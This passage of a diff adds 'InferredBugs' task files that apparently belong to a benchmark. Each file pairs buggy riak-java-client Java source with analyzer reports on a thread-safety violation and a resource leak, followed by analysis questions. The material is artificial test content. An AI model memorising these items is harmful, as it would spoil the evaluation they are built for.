+     * @param youngVClock
+     * @return
+     */
+    public WriteBucket youngVClock(long youngVClock) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_YOUNG_VCLOCK);
+        builder.youngVClock(youngVClock);
+        return this;
+    }
+
+    /**
+     * set the old_vclock prune age
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param oldVClock
+     * @return
+     */
+    public WriteBucket oldVClock(long oldVClock) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_OLD_VCLOCK);
+        builder.oldVClock(oldVClock);
+        return this;
+    }
+
+    /**
+     * The default r Quorom for the bucket
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param r
+     * @return
+     */
+    public WriteBucket r(Quora r) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_R);
+        builder.r(r);
+        return this;
+    }
+
+    /**
+     * The default r quorom as an int
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param r
+     * @return
+     */
+    public WriteBucket r(int r) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_R);
+        builder.r(r);
+        return this;
+    }
+
+    /**
+     * The default w quorom
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param w
+     * @return
+     */
+    public WriteBucket w(Quora w) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_W);
+        builder.w(w);
+        return this;
+    }
+
+    /**
+     * The default w quorom as an int
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param w
+     * @return
+     */
+    public WriteBucket w(int w) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_W);
+        builder.w(w);
+        return this;
+    }
+
+    /**
+     * The default rw quorom
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param rw
+     * @return
+     */
+    public WriteBucket rw(Quora rw) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_RW);
+        builder.rw(rw);
+        return this;
+    }
+
+    /**
+     * The default rw quorom as an int
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param rw
+     * @return
+     */
+    public WriteBucket rw(int rw) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_RW);
+        builder.rw(rw);
+        return this;
+    }
+
+    /**
+     * The default dw quorom
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param dw
+     * @return
+     */
+    public WriteBucket dw(Quora dw) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_DW);
+        builder.dw(dw);
+        return this;
+    }
+
+    /**
+     * The default dw quorom as an int
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param dw
+     * @return
+     */
+    public WriteBucket dw(int dw) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_DW);
+        builder.dw(dw);
+        return this;
+    }
+
+    /**
+     * The default pr quorom
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param pr
+     * @return
+     */
+    public WriteBucket pr(Quora pr) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_PR);
+        builder.pr(pr);
+        return this;
+    }
+
+    /**
+     * The default pr quorom as an int
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param pr
+     * @return
+     */
+    public WriteBucket pr(int pr) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_PR);
+        builder.pr(pr);
+        return this;
+    }
+
+    /**
+     * The default pw quorom
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param pw
+     * @return
+     */
+    public WriteBucket pw(Quora pw) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_PW);
+        builder.pw(pw);
+        return this;
+    }
+
+    /**
+     * The default dw quorom as an int
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport 
+     * @param dw
+     * @return
+     */
+    public WriteBucket pw(int pw) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_PW);
+        builder.pw(pw);
+        return this;
+    }
+
+    /**
+     * The default basic_quorum value
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport 
+     * @param basicQuorum
+     * @return
+     */
+    public WriteBucket basicQuorum(boolean basicQuorum) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_BASIC_QUORUM);
+        builder.basicQuorum(basicQuorum);
+        return this;
+    }
+
+    /**
+     * The default notfound_ok value
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @param notFoundOK
+     * @return
+     */
+    public WriteBucket notFoundOK(boolean notFoundOK) {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_NOT_FOUND_OK);
+        builder.notFoundOK(notFoundOK);
+        return this;
+    }
+
+    /**
+     * Specify the retrier to use for this operation.
+     * If non-provided will use the client configured default.
+     *
+     * @param retrier a Retrier to use for the execute operation
+     * @return this
+     */
+    public WriteBucket withRetrier(final Retrier retrier) {
+        this.retrier = retrier;
+        return this;
+    }
+
+    /**
+     * convenience for setting search=true **and** adding the search precommit
+     * hook (support for both pre-1.0 and 1.0 search)
+     * NOTE: at present this is not supported by PB API and 
+     * an {@link UnsupportedPropertyException} will be thrown if called for that transport
+     * @return this
+     */
+    public WriteBucket enableForSearch() {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_SEARCH);
+        builder.addPrecommitHook(NamedErlangFunction.SEARCH_PRECOMMIT_HOOK).search(true);
+        return this;
+    }
+
+    /**
+     * convenience for setting search=false **and** removing the search
+     * precommit hook (support for both pre-1.0 and 1.0 search) NOTE: at present
+     * this is not supported by PB API and an
+     * {@link UnsupportedPropertyException} will be thrown if called for that
+     * transport
+     * 
+     * @return this
+     */
+    public WriteBucket disableSearch() {
+        httpOnly(client.getTransport(), Constants.FL_SCHEMA_SEARCH);
+        if (existingPrecommitHooks != null) {
+            synchronized (existingPrecommitHooks) {
+                existingPrecommitHooks.remove(NamedErlangFunction.SEARCH_PRECOMMIT_HOOK);
+                for (NamedFunction f : existingPrecommitHooks) {
+                    builder.addPrecommitHook(f);
+                }
+            }
+        }
+        builder.search(false);
+        return this;
+    }
+
+    private void httpOnly(Transport transport, String propertyName) {
+        if(!Transport.HTTP.equals(transport)) {
+            throw new UnsupportedPropertyException(transport, propertyName);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.basho.riak.client.bucket.WriteBucket.enableForSearch` indirectly writes to field `this.com.basho.riak.client.bucket.WriteBucket.builder.com.basho.riak.client.builders.BucketPropertiesBuilder.precommitHooks` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+WriteBucket WriteBucket.enableForSearch()
+
+### Procedure Id:
+com.basho.riak.client.bucket.WriteBucket.enableForSearch():com.basho.riak.client.bucket.WriteBucket.faa628b58dcf33511d77f0731fed8568
+
+### File:
+src/main/java/com/basho/riak/client/bucket/WriteBucket.java
+
+### Key:
+WriteBucket.java|enableForSearch|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+bc562b4d62d9fbc779a247db7ebbc45a
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9826/instruction.md b/inferredbugs-9826/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1245e7b3eba00e636ae106ca0c3fe306bda601b9
--- /dev/null
+++ b/inferredbugs-9826/instruction.md
@@ -0,0 +1,659 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** riak-java-client
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * This file is part of riak-java-pb-client 
+ *
+ * Copyright (c) 2010 by Trifork
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *  
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ **/
+
+package com.basho.riak.pbc;
+
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.net.InetAddress;
+import java.security.NoSuchAlgorithmException;
+import java.security.SecureRandom;
+import java.util.Collections;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.UUID;
+import java.util.prefs.BackingStoreException;
+import java.util.prefs.Preferences;
+import org.apache.commons.codec.binary.Base64;
+
+import org.json.JSONObject;
+
+import com.basho.riak.client.http.util.Constants;
+import com.basho.riak.client.util.CharsetUtils;
+import com.basho.riak.pbc.RPB.RpbDelReq;
+import com.basho.riak.pbc.RPB.RpbGetClientIdResp;
+import com.basho.riak.pbc.RPB.RpbGetReq;
+import com.basho.riak.pbc.RPB.RpbGetResp;
+import com.basho.riak.pbc.RPB.RpbGetServerInfoResp;
+import com.basho.riak.pbc.RPB.RpbListBucketsResp;
+import com.basho.riak.pbc.RPB.RpbMapRedReq;
+import com.basho.riak.pbc.RPB.RpbPutReq;
+import com.basho.riak.pbc.RPB.RpbPutResp;
+import com.basho.riak.pbc.RPB.RpbSetClientIdReq;
+import com.google.protobuf.ByteString;
+import com.google.protobuf.InvalidProtocolBufferException;
+//import com.trifork.riak.RPB.RpbListKeysResp;
+//import com.trifork.riak.RPB.RpbMapRedResp;
+
+/**
+ * Low level protocol buffers client.
+ */
+public class RiakClient implements RiakMessageCodes {
+
+    private static final int BUFFER_SIZE_KB;
+
+    static {
+        BUFFER_SIZE_KB = Integer.parseInt(System.getProperty("com.basho.riak.client.pbc,buffer", "16"));
+    }
+
+    private static final RiakObject[] NO_RIAK_OBJECTS = new RiakObject[0];
+	private static final ByteString[] NO_BYTE_STRINGS = new ByteString[0];
+	//private static final String[] NO_STRINGS = new String[0];
+	//private static final MapReduceResponse[] NO_MAP_REDUCE_RESPONSES = new MapReduceResponse[0];
+
+	private String node;
+	private String serverVersion;
+	private InetAddress addr;
+	private int port;
+	private int bufferSizeKb;
+
+	/**
+	 * if this has been set (or gotten) then it will be applied to new
+	 * connections
+	 */
+	private volatile ByteString clientID;
+
+	public RiakClient(String host) throws IOException {
+		this(host, RiakConnection.DEFAULT_RIAK_PB_PORT);
+	}
+
+	public RiakClient(String host, int port) throws IOException {
+		this(InetAddress.getByName(host), port);
+	}
+
+	public RiakClient(InetAddress addr, int port) throws IOException {
+		this.addr = addr;
+		this.port = port;
+		this.bufferSizeKb = BUFFER_SIZE_KB;
+	}
+
+	public RiakClient(String host, int port, int bufferSizeKb)  throws IOException {
+	    this.addr = InetAddress.getByName(host);
+	    this.port = port;
+	    this.bufferSizeKb = bufferSizeKb;
+	}
+
+	private ThreadLocal<RiakConnection> connections = new ThreadLocal<RiakConnection>();
+
+	RiakConnection getConnection() throws IOException {
+		return getConnection(true);
+	}
+
+	RiakConnection getConnection(boolean setClientId) throws IOException {
+        RiakConnection c = connections.get();
+        if (c == null || !c.endIdleAndCheckValid()) {
+            c = new RiakConnection(addr, port, bufferSizeKb);
+
+            if (this.clientID != null && setClientId) {
+                connections.set(c);
+                setClientID(clientID);
+            }
+        }
+        connections.set(null);
+        return c;
+    }
+
+	void release(RiakConnection c) {
+		RiakConnection cc = connections.get();
+		if (cc == null) {
+			c.beginIdle();
+			connections.set(c);
+		} else {
+			c.close();
+		}
+	}
+
+	/**
+	 * helper method to use a reasonable default client id
+	 * beware, it caches the client id. If you call it multiple times on the same client
+	 * you get the *same* id (not good for reusing a client with different ids)
+	 * 
+	 * @throws IOException
+	 */
+	public void prepareClientID() throws IOException {
+		Preferences prefs = Preferences.userNodeForPackage(RiakClient.class);
+
+		String clid = prefs.get("client_id", null);
+		if (clid == null) {
+			SecureRandom sr;
+			try {
+				sr = SecureRandom.getInstance("SHA1PRNG");
+				// Not totally secure, but doesn't need to be
+				// and 100% less prone to 30 second hangs on linux jdk5
+				sr.setSeed(UUID.randomUUID().getLeastSignificantBits() + new Date().getTime());
+			} catch (NoSuchAlgorithmException e) {
+				throw new RuntimeException(e);
+			}
+			byte[] data = new byte[6];
+			sr.nextBytes(data);
+			clid = CharsetUtils.asString(Base64.encodeBase64Chunked(data), CharsetUtils.ISO_8859_1);
+			prefs.put("client_id", clid);
+			try {
+				prefs.flush();
+			} catch (BackingStoreException e) {
+				throw new IOException(e.toString());
+			}
+		}
+
+		setClientID(clid);
+	}
+
+	public void ping() throws IOException {
+		RiakConnection c = getConnection();
+		try {
+			c.send(MSG_PingReq);
+			c.receive_code(MSG_PingResp);
+		} finally {
+			release(c);
+		}
+	}
+
+	/**
+	 * Warning: the riak client id is 4 bytes. This method silently truncates anymore bytes than that.
+	 * Be aware that if you have two client Ids, "boris1" and "boris2" this method will leave you with 1 client id, "bori".
+	 * Use {@link RiakClient#prepareClientID()} to generate a reasonably unique Id.
+	 * @see RiakClient#prepareClientID()
+	 * @param id
+	 * @throws IOException
+	 */
+	public void setClientID(String id) throws IOException {
+	    if(id == null || id.length() < Constants.RIAK_CLIENT_ID_LENGTH) {
+	        throw new IllegalArgumentException("Client ID must be at least " + Constants.RIAK_CLIENT_ID_LENGTH + " bytes long");
+	    }
+		setClientID(ByteString.copyFrom(CharsetUtils.utf8StringToBytes(id), 0, Constants.RIAK_CLIENT_ID_LENGTH));
+	}
+
+	// /////////////////////
+
+	public void setClientID(ByteString id) throws IOException {
+	    if(id.size() > Constants.RIAK_CLIENT_ID_LENGTH) {
+	        id = ByteString.copyFrom(id.toByteArray(), 0, Constants.RIAK_CLIENT_ID_LENGTH);
+	    }
+		RpbSetClientIdReq req = RPB.RpbSetClientIdReq.newBuilder().setClientId(
+				id).build();
+		RiakConnection c = getConnection(false);
+		try {
+			c.send(MSG_SetClientIdReq, req);
+			c.receive_code(MSG_SetClientIdResp);
+		} finally {
+			release(c);
+		}
+
+		this.clientID = id;
+	}
+
+	public String getClientID() throws IOException {
+		RiakConnection c = getConnection();
+		try {
+			c.send(MSG_GetClientIdReq);
+			byte[] data = c.receive(MSG_GetClientIdResp);
+			if (data == null)
+				return null;
+			RpbGetClientIdResp res = RPB.RpbGetClientIdResp.parseFrom(data);
+			clientID = res.getClientId();
+			return clientID.toStringUtf8();
+		} finally {
+			release(c);
+		}
+	}
+
+	public Map<String, String> getServerInfo() throws IOException {
+		RiakConnection c = getConnection();
+		try {
+			c.send(MSG_GetServerInfoReq);
+			byte[] data = c.receive(MSG_GetServerInfoResp);
+			if (data == null)
+				return Collections.emptyMap();
+
+			RpbGetServerInfoResp res = RPB.RpbGetServerInfoResp.parseFrom(data);
+			if (res.hasNode()) {
+				this.node = res.getNode().toStringUtf8();
+			}
+			if (res.hasServerVersion()) {
+				this.serverVersion = res.getServerVersion().toStringUtf8();
+			}
+			Map<String, String> result = new HashMap<String, String>();
+			result.put("node", node);
+			result.put("server_version", serverVersion);
+			return result;
+		} finally {
+			release(c);
+		}
+	}
+
+	// /////////////////////
+
+	public RiakObject[] fetch(String bucket, String key, int readQuorum)
+			throws IOException {
+		return fetch(ByteString.copyFromUtf8(bucket), ByteString
+				.copyFromUtf8(key), readQuorum);
+	}
+
+	public RiakObject[] fetch(ByteString bucket, ByteString key, int readQuorum)
+			throws IOException {
+		RpbGetReq req = RPB.RpbGetReq.newBuilder().setBucket(bucket)
+				.setKey(key).setR(readQuorum).build();
+
+		RiakConnection c = getConnection();
+		try {
+			c.send(MSG_GetReq, req);
+			return process_fetch_reply(c, bucket, key);
+		} finally {
+			release(c);
+		}
+
+	}
+
+	public RiakObject[] fetch(String bucket, String key) throws IOException {
+		return fetch(ByteString.copyFromUtf8(bucket), ByteString
+				.copyFromUtf8(key));
+	}
+
+	public RiakObject[] fetch(ByteString bucket, ByteString key)
+			throws IOException {
+		RpbGetReq req = RPB.RpbGetReq.newBuilder().setBucket(bucket)
+				.setKey(key).build();
+
+		RiakConnection c = getConnection();
+		try {
+			c.send(MSG_GetReq, req);
+			return process_fetch_reply(c, bucket, key);
+		} finally {
+			release(c);
+		}
+	}
+
+	private RiakObject[] process_fetch_reply(RiakConnection c,
+			ByteString bucket, ByteString key) throws IOException,
+			InvalidProtocolBufferException {
+		byte[] rep = c.receive(MSG_GetResp);
+
+		if (rep == null) {
+			return NO_RIAK_OBJECTS;
+		}
+
+		RpbGetResp resp = RPB.RpbGetResp.parseFrom(rep);
+		int count = resp.getContentCount();
+		RiakObject[] out = new RiakObject[count];
+		ByteString vclock = resp.getVclock();
+		for (int i = 0; i < count; i++) {
+			out[i] = new RiakObject(vclock, bucket, key, resp.getContent(i));
+		}
+		return out;
+	}
+
+	// /////////////////////
+
+	public ByteString[] store(RiakObject[] values, RequestMeta meta)
+			throws IOException {
+
+		RiakConnection c = getConnection();
+		try {
+			BulkReader reader = new BulkReader(c, values.length);
+			Thread worker = new Thread(reader);
+			worker.start();
+
+			DataOutputStream dout = c.getOutputStream();
+
+			for (int i = 0; i < values.length; i++) {
+				RiakObject value = values[i];
+
+				RPB.RpbPutReq.Builder builder = RPB.RpbPutReq.newBuilder()
+						.setBucket(value.getBucketBS())
+						.setKey(value.getKeyBS()).setContent(
+								value.buildContent());
+
+				if (value.getVclock() != null) {
+					builder.setVclock(value.getVclock());
+				}
+
+				builder.setReturnBody(true);
+
+				if (meta != null) {
+
+					if (meta.writeQuorum != null) {
+						builder.setW(meta.writeQuorum.intValue());
+					}
+
+					if (meta.durableWriteQuorum != null) {
+						builder.setDw(meta.durableWriteQuorum.intValue());
+					}
+				}
+
+				RpbPutReq req = builder.build();
+
+				int len = req.getSerializedSize();
+				dout.writeInt(len + 1);
+				dout.write(MSG_PutReq);
+				req.writeTo(dout);
+			}
+
+			dout.flush();
+
+			try {
+				worker.join();
+			} catch (InterruptedException e) {
+				e.printStackTrace();
+			}
+
+			return reader.vclocks;
+		} finally {
+			release(c);
+		}
+	}
+
+	class BulkReader implements Runnable {
+
+		private ByteString[] vclocks;
+		private final RiakConnection c;
+
+		public BulkReader(RiakConnection c, int count) {
+			this.c = c;
+			this.vclocks = new ByteString[count];
+		}
+
+		public void run() {
+
+			try {
+				for (int i = 0; i < vclocks.length; i++) {
+					byte[] data = c.receive(MSG_PutResp);
+					if (data != null) {
+						RpbPutResp resp = RPB.RpbPutResp.parseFrom(data);
+						if (resp.hasVclock()) {
+							vclocks[i] = resp.getVclock();
+						}
+					}
+				}
+			} catch (IOException e) {
+				// TODO
+				e.printStackTrace();
+			}
+
+		}
+
+	}
+
+	public void store(RiakObject value) throws IOException {
+		store(value, null);
+	}
+
+	public RiakObject[] store(RiakObject value, IRequestMeta meta)
+			throws IOException {
+
+		RPB.RpbPutReq.Builder builder = RPB.RpbPutReq.newBuilder().setBucket(
+				value.getBucketBS()).setKey(value.getKeyBS()).setContent(
+				value.buildContent());
+
+		if (value.getVclock() != null) {
+			builder.setVclock(value.getVclock());
+		}
+
+		if (meta != null) {
+			meta.preparePut(builder);
+		}
+
+		RiakConnection c = getConnection();
+		try {
+			c.send(MSG_PutReq, builder.build());
+			byte[] r = c.receive(MSG_PutResp);
+
+			if (r == null) {
+				return NO_RIAK_OBJECTS;
+			}
+
+			RpbPutResp resp = RPB.RpbPutResp.parseFrom(r);
+
+			RiakObject[] res = new RiakObject[resp.getContentsCount()];
+			ByteString vclock = resp.getVclock();
+
+			for (int i = 0; i < res.length; i++) {
+				res[i] = new RiakObject(vclock, value.getBucketBS(), value
+						.getKeyBS(), resp.getContents(i));
+			}
+
+			return res;
+		} finally {
+			release(c);
+		}
+	}
+
+	// /////////////////////
+
+	public void delete(String bucket, String key, int rw) throws IOException {
+		delete(ByteString.copyFromUtf8(bucket), ByteString.copyFromUtf8(key),
+				rw);
+	}
+
+	public void delete(ByteString bucket, ByteString key, int rw)
+			throws IOException {
+		RpbDelReq req = RPB.RpbDelReq.newBuilder().setBucket(bucket)
+				.setKey(key).setRw(rw).build();
+
+		RiakConnection c = getConnection();
+		try {
+			c.send(MSG_DelReq, req);
+			c.receive_code(MSG_DelResp);
+		} finally {
+			release(c);
+		}
+
+	}
+
+	public void delete(String bucket, String key) throws IOException {
+		delete(ByteString.copyFromUtf8(bucket), ByteString.copyFromUtf8(key));
+	}
+
+	public void delete(ByteString bucket, ByteString key) throws IOException {
+		RpbDelReq req = RPB.RpbDelReq.newBuilder().setBucket(bucket)
+				.setKey(key).build();
+
+		RiakConnection c = getConnection();
+		try {
+			c.send(MSG_DelReq, req);
+			c.receive_code(MSG_DelResp);
+		} finally {
+			release(c);
+		}
+	}
+
+	public ByteString[] listBuckets() throws IOException {
+
+		byte[] data;
+		RiakConnection c = getConnection();
+		try {
+			c.send(MSG_ListBucketsReq);
+
+			data = c.receive(MSG_ListBucketsResp);
+			if (data == null) {
+				return NO_BYTE_STRINGS;
+			}
+		} finally {
+			release(c);
+		}
+
+		RpbListBucketsResp resp = RPB.RpbListBucketsResp.parseFrom(data);
+		ByteString[] out = new ByteString[resp.getBucketsCount()];
+		for (int i = 0; i < out.length; i++) {
+			out[i] = resp.getBuckets(i);
+		}
+		return out;
+	}
+
+	public BucketProperties getBucketProperties(ByteString bucket)
+			throws IOException {
+
+		RiakConnection c = getConnection();
+		try {
+			c.send(MSG_GetBucketReq, RPB.RpbGetBucketReq.newBuilder()
+					.setBucket(bucket).build());
+
+			byte[] data = c.receive(MSG_GetBucketResp);
+			BucketProperties bp = new BucketProperties();
+			if (data == null) {
+				return bp;
+			}
+
+			bp.init(RPB.RpbGetBucketResp.parseFrom(data));
+			return bp;
+		} finally {
+			release(c);
+		}
+
+	}
+
+	public void setBucketProperties(ByteString bucket, BucketProperties props)
+			throws IOException {
+
+		RPB.RpbSetBucketReq req = RPB.RpbSetBucketReq.newBuilder().setBucket(
+				bucket).setProps(props.build()).build();
+
+		RiakConnection c = getConnection();
+		try {
+			c.send(MSG_SetBucketReq, req);
+			c.receive_code(MSG_SetBucketResp);
+		} finally {
+			release(c);
+		}
+	}
+
+	// /////////////////////
+
+	public KeySource listKeys(ByteString bucket) throws IOException {
+
+		RiakConnection c = getConnection();
+		c.send(MSG_ListKeysReq, RPB.RpbListKeysReq.newBuilder().setBucket(
+				bucket).build());
+
+		return new KeySource(this, c);
+	}
+
+	// /////////////////////
+
+	public MapReduceResponseSource mapReduce(JSONObject obj) throws IOException {
+		return mapReduce(ByteString.copyFromUtf8(obj.toString()),
+				new RequestMeta().contentType("application/json"));
+	}
+
+	public MapReduceResponseSource mapReduce(String request,
+			IRequestMeta meta) throws IOException {
+		return mapReduce(ByteString.copyFromUtf8(request), meta);
+	}
+	
+	public MapReduceResponseSource mapReduce(ByteString request,
+			IRequestMeta meta) throws IOException {
+		RiakConnection c = getConnection();
+
+		ByteString contentType = meta.getContentType();
+		if (contentType == null) {
+			throw new IllegalArgumentException("no content type");
+		}
+		RpbMapRedReq req = RPB.RpbMapRedReq.newBuilder().setRequest(request)
+				.setContentType(meta.getContentType()).build();
+
+		c.send(MSG_MapRedReq, req);
+		
+		return new MapReduceResponseSource(this, c, contentType);
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.DataInputStream` acquired by call to `RiakConnection(...)` at line 111 is not released after line 119.
+**Note**: potential exception at line 115
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+RiakConnection RiakClient.getConnection(boolean)
+
+### Procedure Id:
+com.basho.riak.pbc.RiakClient.getConnection(boolean):com.basho.riak.pbc.RiakConnection.8bd314c9764aabfd41f07d3fc08a69ad
+
+### File:
+src/main/java/com/basho/riak/pbc/RiakClient.java
+
+### Key:
+RiakClient.java|getConnection|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+12002d71c32512e71a2f643c15ec5849
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9828/instruction.md b/inferredbugs-9828/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..647f153d4b1f8220ea03c3cb0d64b9be44e42e58
--- /dev/null
+++ b/inferredbugs-9828/instruction.md
@@ -0,0 +1,300 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** riak-java-client
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * This file is provided to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package com.basho.riak.client.raw;
+
+import java.io.IOException;
+import java.util.Collection;
+import java.util.Map;
+
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import com.basho.riak.client.RiakBucketInfo;
+import com.basho.riak.client.RiakClient;
+import com.basho.riak.client.RiakConfig;
+import com.basho.riak.client.RiakLink;
+import com.basho.riak.client.RiakObject;
+import com.basho.riak.client.request.RequestMeta;
+import com.basho.riak.client.request.RiakWalkSpec;
+import com.basho.riak.client.response.HttpResponse;
+import com.basho.riak.client.response.RiakExceptionHandler;
+import com.basho.riak.client.response.RiakResponseException;
+import com.basho.riak.client.response.StreamHandler;
+import com.basho.riak.client.util.ClientHelper;
+import com.basho.riak.client.util.ClientUtils;
+import com.basho.riak.client.util.Constants;
+
+/**
+ * Implementation of the {@link RiakClient} that connects to the Riak Raw
+ * interface.
+ */
+public class RawClient implements RiakClient {
+
+    private ClientHelper helper;
+    private String riakBasePath;
+
+    public RawClient(RiakConfig config) {
+        helper = new ClientHelper(config);
+        riakBasePath = ClientUtils.getPathFromUrl(config.getUrl());
+    }
+
+    public RawClient(String url) {
+        helper = new ClientHelper(new RiakConfig(url));
+        riakBasePath = ClientUtils.getPathFromUrl(url);
+    }
+
+    public HttpResponse setBucketSchema(String bucket, RiakBucketInfo bucketInfo, RequestMeta meta) {
+        JSONObject schema = null;
+        try {
+            schema = new JSONObject().put(Constants.RAW_FL_SCHEMA, bucketInfo.getSchema());
+        } catch (JSONException unreached) {
+            throw new IllegalStateException("wrapping valid json should be valid", unreached);
+        }
+
+        return helper.setBucketSchema(bucket, schema, meta);
+    }
+
+    public HttpResponse setBucketSchema(String bucket, RiakBucketInfo bucketInfo) {
+        return setBucketSchema(bucket, bucketInfo, null);
+    }
+
+    public RawBucketResponse listBucket(String bucket, RequestMeta meta) {
+        HttpResponse r = helper.listBucket(bucket, meta);
+        if (r == null)
+            return null;
+        try {
+            return new RawBucketResponse(r);
+        } catch (JSONException e) {
+            helper.toss(new RiakResponseException(r, e));
+            return null;
+        }
+    }
+
+    public RawBucketResponse listBucket(String bucket) {
+        return listBucket(bucket, null);
+    }
+
+    // Sends the object's link, user-defined metadata and vclock as HTTP headers
+    // and the value as the body
+    public RawStoreResponse store(RiakObject object, RequestMeta meta) {
+        if (meta == null) {
+            meta = new RequestMeta();
+        }
+        Collection<RiakLink> links = object.getLinks();
+        Map<String, String> usermeta = object.getUsermeta();
+        StringBuilder linkHeader = new StringBuilder();
+        String vclock = object.getVclock();
+
+        if (links != null) {
+            for (RiakLink link : links) {
+                if (linkHeader.length() > 0) {
+                    linkHeader.append(", ");
+                }
+                linkHeader.append("<");
+                linkHeader.append(riakBasePath);
+                linkHeader.append("/");
+                linkHeader.append(link.getBucket());
+                linkHeader.append("/");
+                linkHeader.append(link.getKey());
+                linkHeader.append(">; ");
+                linkHeader.append(Constants.RAW_LINK_TAG);
